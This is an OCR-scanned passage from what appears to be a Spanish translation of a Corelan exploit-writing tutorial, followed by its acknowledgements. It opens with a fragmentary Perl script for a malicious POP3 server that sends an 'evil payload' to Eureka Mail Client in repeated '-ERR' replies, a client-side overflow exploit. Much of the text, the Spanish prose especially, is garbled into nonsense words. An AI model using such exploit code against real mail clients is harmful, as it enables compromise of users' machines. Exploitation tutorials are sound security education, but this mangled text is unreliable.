(SERVER,PF_INET,SOCK_STREAM,$proto);
$paddr=sockaddr_in($port,INADDR_ANY);
(SERVER,$paddr);
(SERVER,SOMAXCONN);
" [+] Listening on tcp port 110 [POP3]... \n
" [+] Configure Eureka Mail Client to connect to this
$client_addr;
while($client_addr= (CLIENT,SERVER))

{
" [+] Client connected, sending evil payload\n
$cnt=1;
while($cnt < 10)
{

CLIENT" -ERR ".$payload." \n'";
" ->Sent " ($payload)." bytes\n
$ent=$cnt+1;

CLIENT;
" [+] Connection closed\n
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OK. El codigo tortilla es un poco mas grande, y mégnbios tal vez
podrian mejorarse un poco, pero bueno, mira elteeku
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Entrenamiento

Esta serie de tutoriales sobre creacion de expdsitaccesible de forma
gratuita, y puede haber ayudado a algunas perstnan modo u otro en
su afan por aprender acerca de la explotacion emdMis. Leer manuales
y tutoriales es un buen comienzo, pero a vecesegsr rhacer las cosas
explicadas por expertos, 101, durante algun tipo olsse o de

entrenamiento.

Si usted estas interesado en obtener algun entremaméchale un vistazo
a: https://www.corelan-training.com

Todos mis agradecimientos te pertencen:

Mis amigos @Corelan Team (Ricardo, EdiStrosar, ne;,_@kse, MarkoT,
Sinn3r, Jacky: ustedes ROck), Berend-Jan Weveas(aikyLined), por
escribir algunas grandes cosas, y gracias a tadogue toman el tiempo
para leer estas cosas, dar su opinion y ayudaos e mi foro.

Ademas, saludos a otras personas agradables qoei eonTwitter/IRC en
el dltimo par de meses. (Curtw, Trancer00t, Mulitsjfertex, Pusscat,
HDM, FX, NCR/CRC! [ReVeRsEr], Bernardo Damele, ShaRamezany,
Muts, Nullthreat, etc).

A algunas de las personas que he mencionado aaqwhad gracias por
responder a mis preguntas o comentarios. Eso ga#ich mucho para mi,
y/o por revisar los borradores de los tutoriales.

Finalmente: gracias a todo el que mostré interésnetrabajo, tuited al
respecto, retuited los mensajes o simplemente sxme reconocimiento
en listas de correo y foros. jCorre la voz y aléwgra! dia!

Recuerda: La vida no se trata de lo que sabes, side la voluntad de
escuchar, aprender, compartir y ensefiar.
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